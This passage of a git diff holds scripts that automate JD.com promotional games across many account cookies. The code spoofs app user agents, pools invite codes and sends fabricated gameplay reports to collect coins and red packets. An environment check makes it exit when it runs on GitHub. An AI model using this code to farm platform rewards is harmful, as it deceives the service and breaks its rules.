console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + // const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + // $.newShareCodes = inviteCodes[tempIndex].split('@'); + // $.newShareCodes = [...$.newShareCodes]; + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + $.newShareCodes.map((item, index) => $.newShareCodes[index] = {"inviteCode": item, "shareDate": $.shareDate}) + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + let shareCodes = []; + if ($.isNode()) { + if (process.env.JD_CASH_SHARECODES) { + if (process.env.JD_CASH_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JD_CASH_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JD_CASH_SHARECODES.split('&'); + } + } + } + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } else { + if ($.getdata('jd_cash_invite')) $.shareCodesArr = $.getdata('jd_cash_invite').split('\n').filter(item => !!item); + console.log(`\nBoxJs设置的京东签到领现金邀请码:${$.getdata('jd_cash_invite')}\n`); + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +function apptaskUrl(url, body) { + return { + url, + body: `body=${body}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Referer': '', + 'User-Agent': 'JD4iPhone/167774 (iPhone; iOS 14.7.1; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + +function taskUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${escape(JSON.stringify(body))}&appid=CashRewardMiniH5Env&appid=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + + class s { + constructor(t) { + this.env = t + } + + send(t, e = "GET") { + t = "string" == typeof t ? {url: t} : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + + get(t) { + return this.send.call(this.env, t) + } + + post(t) { + return this.send.call(this.env, t, "POST") + } + } + + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + + isNode() { + return "undefined" != typeof module && !!module.exports + } + + isQuanX() { + return "undefined" != typeof $task + } + + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + + isLoon() { + return "undefined" != typeof $loon + } + + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch { + } + return s + } + + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + + getScript(t) { + return new Promise(e => { + this.get({url: t}, (t, s, i) => e(i)) + }) + } + + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = {url: `http://${h}/v1/scripting/evaluate`, body: {script_text: t, mock_type: "cron", timeout: r}, headers: {"X-Key": o, Accept: "*/*"}}; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + + loaddata() { + if (!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; + { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) if (r = Object(r)[t], void 0 === r) return s; + return r + } + + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + + get(t, e = (() => { + })) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + })) + } + + post(t, e = (() => { + })) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => e(t)); else if (this.isNode()) { + this.initGotEnv(t); + const {url: s, ...i} = t; + this.got.post(s, i).then(t => { + const {statusCode: s, statusCode: i, headers: r, body: o} = t; + e(null, {status: s, statusCode: i, headers: r, body: o}, o) + }, t => { + const {message: s, response: i} = t; + e(s, i, i && i.body) + }) + } + } + + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = {"M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds()}; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? {"open-url": t} : this.isSurge() ? {url: t} : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; + return {openUrl: e, mediaUrl: s} + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; + return {"open-url": e, "media-url": s} + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return {url: e} + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + + done(t = {}) { + const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} \ No newline at end of file diff --git a/jd_cfd.ts b/jd_cfd.ts new file mode 100644 index 0000000000..b6a3f665b1 --- /dev/null +++ b/jd_cfd.ts @@ -0,0 +1,674 @@ +/** + * 京喜财富岛 + * 包含雇佣导游,建议每小时1次 + * 使用jd_env_copy.js同步js环境变量到ts + * 使用jd_ts_test.ts测试环境变量 + * + * cron: 0 * * * * + */ + +import axios from 'axios' +import {Md5} from 'ts-md5' +import {getDate} from 'date-fns' +import {requireConfig, wait, requestAlgo, h5st, getJxToken, getRandomNumberByRange, getBeanShareCode, getFarmShareCode, randomString} from './TS_USER_AGENTS' + +const axi = axios.create({timeout: 10000}) + +let cookie: string = '', res: any = '', UserName: string, index: number +let shareCodes: string[] = [], shareCodesSelf: string[] = [], shareCodesHW: string[] = [], isCollector: Boolean = false, USER_AGENT = 'jdpingou;', token: any = {} + +interface Params { + strBuildIndex?: string, + ddwCostCoin?: number, + taskId?: number, + dwType?: string, + configExtra?: string, + strStoryId?: string, + triggerType?: number, + ddwTriggerDay?: number, + ddwConsumeCoin?: number, + dwIsFree?: number, + ddwTaskId?: string, + strShareId?: string, + strMarkList?: string, + dwSceneId?: string, + strTypeCnt?: string, + dwUserId?: number, + ddwCoin?: number, + ddwMoney?: number, + dwPrizeLv?: number, + dwPrizeType?: number, + strPrizePool?: string, + dwFirst?: any, + dwIdentityType?: number, + strBussKey?: string, + strMyShareId?: string, + ddwCount?: number, + __t?: number, + strBT?: string, + dwCurStageEndCnt?: number, + dwRewardType?: number, + dwRubbishId?: number, + strPgtimestamp?: number, + strPhoneID?: string, + strPgUUNum?: string, + showAreaTaskFlag?: number, + strVersion?: string, + strIndex?: string + strToken?: string + dwGetType?: number, + ddwSeaonStart?: number, + size?: number, + type?: number, + strLT?: string, + dwQueryType?: number, + dwPageIndex?: number, + dwPageSize?: number, + dwProperty?: number, + bizCode?: string, + dwCardType?: number, + strCardTypeIndex?: string, +} + +!(async () => { + await requestAlgo() + let cookiesArr: any = await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i] + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + index = i + 1 + console.log(`\n开始【京东账号${index}】${UserName}\n`) + + token = getJxToken(cookie) + try { + await makeShareCodes() + } catch (e) { + console.log(e) + } + + // 当日累计获得财富 + let todayMoney: number = 0, flag: boolean = true + for (let dwPageIndex = 0; dwPageIndex < 5; dwPageIndex++) { + if (!flag) break + res = await api('user/GetMoneyDetail', '_cfd_t,bizCode,dwEnv,dwPageIndex,dwPageSize,dwProperty,dwQueryType,ptag,source,strZone', + {dwQueryType: 0, dwPageIndex: 1, dwPageSize: 10, dwProperty: 1}) + await wait(1000) + for (let t of res?.Detail) { + if (getDate(t.ddwTime * 1000) === getDate(new Date())) { + todayMoney += t.ddwValue + } else { + flag = false + break + } + } + } + console.log('今日累计获得财富:', todayMoney) + + // 离线 + res = await api('user/QueryUserInfo', + '_cfd_t,bizCode,ddwTaskId,dwEnv,ptag,source,strMarkList,strPgUUNum,strPgtimestamp,strPhoneID,strShareId,strZone', + { + ddwTaskId: '', + strShareId: '', + strMarkList: 'guider_step,collect_coin_auth,guider_medal,guider_over_flag,build_food_full,build_sea_full,build_shop_full,build_fun_full,medal_guider_show,guide_guider_show,guide_receive_vistor,daily_task,guider_daily_task', + strPgtimestamp: token.strPgtimestamp, + strPhoneID: token.strPhoneID, + strPgUUNum: token.strPgUUNum + }) + await wait(2000) + + // 寻宝 + for (let xb of res.XbStatus.XBDetail) { + if (xb.dwRemainCnt !== 0) { + res = await api('user/TreasureHunt', '_cfd_t,bizCode,dwEnv,ptag,source,strIndex,strZone', {strIndex: xb.strIndex}) + if (res.iRet === 0) { + console.log('发现宝物:', res.AwardInfo.ddwValue) + } else { + console.log('寻宝失败:', res) + break + } + await wait(2000) + } + } + + let tasks: any + // 加速卡任务 + tasks = await api('story/GetPropTask', '_cfd_t,bizCode,dwEnv,ptag,source,strZone') + for (let t of tasks.Data.TaskList) { + if (t.dwCompleteNum === t.dwTargetNum && t.dwAwardStatus === 2) { + res = await api('Award', '_cfd_t,bizCode,dwEnv,ptag,source,strZone,taskId', {bizCode: tasks.Data.strZone, taskId: t.ddwTaskId}) + await wait(1000) + if (res.ret === 0) { + let prizeInfo: any = JSON.parse(res.data.prizeInfo) + let CardList: any = prizeInfo.CardInfo.CardList + let cards: string = '' + for (let card of CardList) { + cards += card.strCardName + } + console.log('加速卡领取成功', cards) + } else { + console.log('加速卡领取失败', res) + break + } + } + if (t.dwCompleteNum < t.dwTargetNum && t.strTaskName !== '去接待NPC') { + console.log(t.strTaskName) + res = await api('DoTask', '_cfd_t,bizCode,configExtra,dwEnv,ptag,source,strZone,taskId', {bizCode: tasks.Data.strZone, taskId: t.ddwTaskId}) + await wait(t.dwLookTime * 1000 ?? 2000) + if (res.ret === 0) { + console.log('加速卡任务完成') + } else { + console.log('加速卡任务失败', res) + break + } + } + } + + // 加速卡 + res = await api('user/GetPropCardCenterInfo', '_cfd_t,bizCode,dwEnv,ptag,source,strZone') + let richcard: any = res.cardInfo.richcard, coincard: any = res.cardInfo.coincard, isUsing: boolean = res.cardInfo.dwWorkingType !== 0 + + for (let card of coincard) { + if (!isUsing && card.dwCardNums !== 0) { + res = await api('user/UsePropCard', '_cfd_t,bizCode,dwCardType,dwEnv,ptag,source,strCardTypeIndex,strZone', {dwCardType: 1, strCardTypeIndex: encodeURIComponent(card.strCardTypeIndex)}) + if (res.iRet === 0) { + console.log('金币加速卡使用成功') + isUsing = true + } else { + console.log('金币加速卡使用失败', res) + } + } else { + break + } + } + for (let card of richcard) { + if (!isUsing && card.dwCardNums !== 0) { + for (let j = 0; j < card.dwCardNums; j++) { + res = await api('user/UsePropCard', '_cfd_t,bizCode,dwCardType,dwEnv,ptag,source,strCardTypeIndex,strZone', {dwCardType: 2, strCardTypeIndex: encodeURIComponent(card.strCardTypeIndex)}) + if (res.iRet === 0) { + console.log('点券加速卡使用成功') + isUsing = true + } else { + console.log('点券加速卡使用失败', res) + } + await wait(2000) + } + } else { + break + } + } + + // 任务⬇️ + console.log('底部任务列表开始') + for (let j = 0; j < 30; j++) { + if (await task() === 0) { + break + } + await wait(3000) + } + console.log('底部任务列表结束') + + // 升级建筑 + while (1) { + res = await api('user/QueryUserInfo', + '_cfd_t,bizCode,ddwTaskId,dwEnv,ptag,source,strMarkList,strPgUUNum,strPgtimestamp,strPhoneID,strShareId,strZone', + { + ddwTaskId: '', + strShareId: '', + strMarkList: 'guider_step,collect_coin_auth,guider_medal,guider_over_flag,build_food_full,build_sea_full,build_shop_full,build_fun_full,medal_guider_show,guide_guider_show,guide_receive_vistor,daily_task,guider_daily_task', + strPgtimestamp: token.strPgtimestamp, + strPhoneID: token.strPhoneID, + strPgUUNum: token.strPgUUNum + }) + let wallet: number = res.ddwCoinBalance + console.log('金币余额:', wallet) + let build: string = '', minLV: number = 99999 + for (let b of ['food', 'fun', 'shop', 'sea']) { + res = await api('user/GetBuildInfo', '_cfd_t,bizCode,dwEnv,dwType,ptag,source,strBuildIndex,strZone', {strBuildIndex: b}) + await wait(2000) + if (res.dwBuildLvl <= minLV) { + minLV = res.dwBuildLvl + build = b + } + } + console.log('最低等级建筑:', minLV, build) + + res = await api('user/GetBuildInfo', '_cfd_t,bizCode,dwEnv,dwType,ptag,source,strBuildIndex,strZone', {strBuildIndex: build}) + console.log(`${build}升级需要:`, res.ddwNextLvlCostCoin) + await wait(2000) + if (res.dwCanLvlUp === 1 && res.ddwNextLvlCostCoin * 2 <= wallet) { + res = await api('user/BuildLvlUp', '_cfd_t,bizCode,ddwCostCoin,dwEnv,ptag,source,strBuildIndex,strZone', {ddwCostCoin: res.ddwNextLvlCostCoin, strBuildIndex: build}) + await wait(2000) + if (res.iRet === 0) { + console.log(`升级成功`) + await wait(2000) + } + } else { + break + } + await wait(3000) + } + + // 珍珠 + res = await api('user/ComposePearlState', '', {__t: Date.now(), dwGetType: 0}) + let dwCurProgress: number = res.dwCurProgress, strDT: string = res.strDT, strMyShareId: string = res.strMyShareId, ddwSeasonStartTm: number = res.ddwSeasonStartTm + let strLT: string = res.oPT[res.ddwCurTime % (res.oPT.length)] + console.log(`已合成${dwCurProgress}个珍珠,${res.ddwVirHb / 100}元红包`) + + if (res.dayDrawInfo.dwIsDraw === 0) { + res = await api("user/GetPearlDailyReward", "__t,strZone", {__t: Date.now()}) + if (res.iRet === 0) { + res = await api("user/PearlDailyDraw", "__t,ddwSeaonStart,strToken,strZone", {__t: Date.now(), ddwSeaonStart: ddwSeasonStartTm, strToken: res.strToken}) + if (res.strPrizeName) { + console.log('抽奖获得:', res.strPrizeName) + } else { + console.log('抽奖失败?', res) + } + } + } + // 模拟合成 + if (strDT) { + console.log('继续合成') + let RealTmReport: number = getRandomNumberByRange(10, 20) + console.log('本次合成需要上报:', RealTmReport) + for (let j = 0; j < RealTmReport; j++) { + res = await api('user/RealTmReport', '', {__t: Date.now(), dwIdentityType: 0, strBussKey: 'composegame', strMyShareId: strMyShareId, ddwCount: 10}) + if (res.iRet === 0) + console.log(`游戏中途上报${j + 1}:OK`) + await wait(2000) + if (getRandomNumberByRange(1, 6) === 2) { + res = await api('user/ComposePearlAward', '__t,size,strBT,strZone,type', {__t: Date.now(), size: 1, strBT: strDT, type: 4}) + if (res.iRet === 0) { + console.log(`上报得红包:${res.ddwAwardHb / 100}红包,当前有${res.ddwVirHb / 100}`) + } else { + console.log('上报得红包失败:', res) + } + await wait(1000) + } + } + // 珍珠奖励 + res = await api(`user/ComposePearlAddProcess`, '__t,strBT,strLT,strZone', {__t: Date.now(), strBT: strDT, strLT: strLT}) + if (res.iRet === 0) { + console.log(`合成成功:获得${res.ddwAwardHb / 100}红包,当前有${res.dwCurProgress}珍珠,${res.ddwVirHb / 100}红包`) + } else { + console.log('合成失败:', res) + } + } + + // 签到 助力奖励 + res = await api('story/GetTakeAggrPage', '_cfd_t,bizCode,dwEnv,ptag,source,strZone') + let employee: any = res.Data.Employee.EmployeeList.filter((e: any) => { + return e.dwStatus === 0 + }) + for (let emp of employee) { + let empRes: any = await api('story/helpdraw', '_cfd_t,bizCode,dwEnv,dwUserId,ptag,source,strZone', {dwUserId: emp.dwId}) + if (empRes.iRet === 0) + console.log('助力奖励领取成功:', empRes.Data.ddwCoin) + await wait(1000) + } + if (res.Data.Sign.dwTodayStatus === 0) { + console.log('今日未签到') + for (let sign of res.Data.Sign.SignList) { + if (sign.dwDayId === res.Data.Sign.dwTodayId) { + res = await api('story/RewardSign', + '_cfd_t,bizCode,ddwCoin,ddwMoney,dwEnv,dwPrizeLv,dwPrizeType,ptag,source,strPgUUNum,strPgtimestamp,strPhoneID,strPrizePool,strZone', + { + ddwCoin: sign.ddwCoin, + ddwMoney: sign.ddwMoney, + dwPrizeLv: sign.dwBingoLevel, + dwPrizeType: sign.dwPrizeType, + strPrizePool: sign.strPrizePool, + strPgtimestamp: token.strPgtimestamp, + strPhoneID: token.strPhoneID, + strPgUUNum: token.strPgUUNum + }) + if (res.iRet === 0) + console.log('签到成功:', res.Data.ddwCoin, res.Data.ddwMoney, res.Data.strPrizePool) + else + console.log('签到失败:', res) + break + } + } + } else { + console.log('今日已经签到') + } + await wait(2000) + + res = await api('user/QueryUserInfo', '_cfd_t,bizCode,ddwTaskId,dwEnv,ptag,source,strMarkList,strPgUUNum,strPgtimestamp,strPhoneID,strShareId,strVersion,strZone', { + ddwTaskId: '', + strShareId: '', + strMarkList: 'guider_step,collect_coin_auth,guider_medal,guider_over_flag,build_food_full,build_sea_full,build_shop_full,build_fun_full,medal_guider_show,guide_guider_show,guide_receive_vistor,daily_task,guider_daily_task,cfd_has_show_selef_point', + strPgUUNum: token.strPgUUNum, + strPgtimestamp: token.strPgtimestamp, + strPhoneID: token.strPhoneID, + strVersion: '1.0.1' + }) + await wait(5000) + if (res.StoryInfo.StoryList) { + // 美人鱼 + if (res.StoryInfo.StoryList[0].Mermaid) { + console.log(`发现美人鱼🧜‍♀️`) + let MermaidRes: any = await api('story/MermaidOper', '_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone', { + strStoryId: res.StoryInfo.StoryList[0].strStoryId, + dwType: '1', + ddwTriggerDay: res.StoryInfo.StoryList[0].ddwTriggerDay + }) + await wait(3000) + if (MermaidRes.iRet === 0) { + MermaidRes = await api('story/MermaidOpe', '_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone', { + strStoryId: res.StoryInfo.StoryList[0].strStoryId, + dwType: '3', + ddwTriggerDay: res.StoryInfo.StoryList[0].ddwTriggerDay + }) + if (MermaidRes.iRet === 0) { + console.log(`拯救美人鱼成功`) + } + } + await wait(1000) + MermaidRes = await api('story/MermaidOper', '_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone', { + strStoryId: res.StoryInfo.StoryList[0].strStoryId, + dwType: '2', + ddwTriggerDay: res.StoryInfo.StoryList[0].ddwTriggerDay + }) + if (MermaidRes.iRet === 0) + console.log('获得金币:', MermaidRes.Data.ddwCoin) + } + await wait(2000) + + if (res.StoryInfo.StoryList[0].Special) { + console.log(`船来了,乘客是${res.StoryInfo.StoryList[0].Special.strName}`) + let shipRes: any = await api('story/SpecialUserOper', '_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone,triggerType', { + strStoryId: res.StoryInfo.StoryList[0].strStoryId, + dwType: '2', + triggerType: 0, + ddwTriggerDay: res.StoryInfo.StoryList[0].ddwTriggerDay + }) + console.log('正在下船,等待30s') + await wait(30000) + shipRes = await api('story/SpecialUserOper', '_cfd_t,bizCode,ddwTriggerDay,dwEnv,dwType,ptag,source,strStoryId,strZone,triggerType', { + strStoryId: res.StoryInfo.StoryList[0].strStoryId, + dwType: '3', + triggerType: 0, + ddwTriggerDay: res.StoryInfo.StoryList[0].ddwTriggerDay + }) + if (shipRes.iRet === 0) + console.log('船客接待成功') + else + console.log('船客接待失败', shipRes) + } + + isCollector = false + if (res.StoryInfo.StoryList[0].Collector) { + console.log('收藏家出现') + // TODO 背包满了再卖给收破烂的 + res = await api('story/CollectorOper', '_cfd_t,bizCode,dwEnv,ptag,source,strZone,strStoryId,dwType,ddwTriggerDay', {strStoryId: res.StoryInfo.StoryList[0].strStoryId, dwType: '2', ddwTriggerDay: res.StoryInfo.StoryList[0].ddwTriggerDay}) + console.log(res) + await wait(1000) + isCollector = true + // 清空背包 + res = await api('story/querystorageroom', '_cfd_t,bizCode,dwEnv,ptag,source,strZone') + let bags: number[] = [] + for (let s of res.Data.Office) { + bags.push(s.dwType) + bags.push(s.dwCount) + } + await wait(1000) + let strTypeCnt: string = '' + for (let n = 0; n < bags.length; n++) { + if (n % 2 === 0) + strTypeCnt += `${bags[n]}:` + else + strTypeCnt += `${bags[n]}|` + } + if (bags.length !== 0) { + res = await api('story/sellgoods', '_cfd_t,bizCode,dwEnv,dwSceneId,ptag,source,strTypeCnt,strZone', + {dwSceneId: isCollector ? '2' : '1', strTypeCnt: strTypeCnt}) + console.log('卖贝壳收入:', res.Data.ddwCoin, res.Data.ddwMoney) + } + } + await wait(2000) + } + + // 清空背包 + res = await api('story/querystorageroom', '_cfd_t,bizCode,dwEnv,ptag,source,strZone') + let bags: number[] = [] + for (let s of res.Data.Office) { + bags.push(s.dwType) + bags.push(s.dwCount) + } + await wait(1000) + let strTypeCnt: string = '' + for (let n = 0; n < bags.length; n++) { + if (n % 2 === 0) + strTypeCnt += `${bags[n]}:` + else + strTypeCnt += `${bags[n]}|` + } + if (bags.length !== 0) { + res = await api('story/sellgoods', '_cfd_t,bizCode,dwEnv,dwSceneId,ptag,source,strTypeCnt,strZone', + {dwSceneId: isCollector ? '2' : '1', strTypeCnt: strTypeCnt}) + console.log('卖贝壳收入:', res.Data.ddwCoin, res.Data.ddwMoney) + } + + // 垃圾🚮 + res = await api('story/QueryRubbishInfo', '_cfd_t,bizCode,dwEnv,ptag,source,strZone') + if (res.Data.StoryInfo.StoryList.length !== 0) { + console.log('有垃圾') + await api('story/RubbishOper', '_cfd_t,bizCode,dwEnv,dwRewardType,dwType,ptag,source,strZone', { + dwType: '1', + dwRewardType: 0 + }) + await wait(1000) + for (let j = 1; j < 9; j++) { + res = await api('story/RubbishOper', '_cfd_t,bizCode,dwEnv,dwRewardType,dwRubbishId,dwType,ptag,source,strZone', { + dwType: '2', + dwRewardType: 0, + dwRubbishId: j + }) + await wait(1500) + } + } + await wait(2000) + + // 任务➡️ + tasks = await api('story/GetActTask', '_cfd_t,bizCode,dwEnv,ptag,source,strZone') + await wait(2000) + for (let t of tasks.Data.TaskList) { + if ([1, 2].indexOf(t.dwOrderId) > -1 && t.dwCompleteNum < t.dwTargetNum && t.strTaskName != '热气球接待20位游客') { + console.log('开始任务➡️:', t.strTaskName) + res = await api('DoTask', '_cfd_t,bizCode,configExtra,dwEnv,ptag,source,strZone,taskId', {taskId: t.ddwTaskId, configExtra: ''}, 'right') + await wait(t.dwLookTime * 1000) + if (res.ret === 0) { + console.log('任务完成') + } else { + console.log('任务失败', res) + } + } + } + + tasks = await api('story/GetActTask', 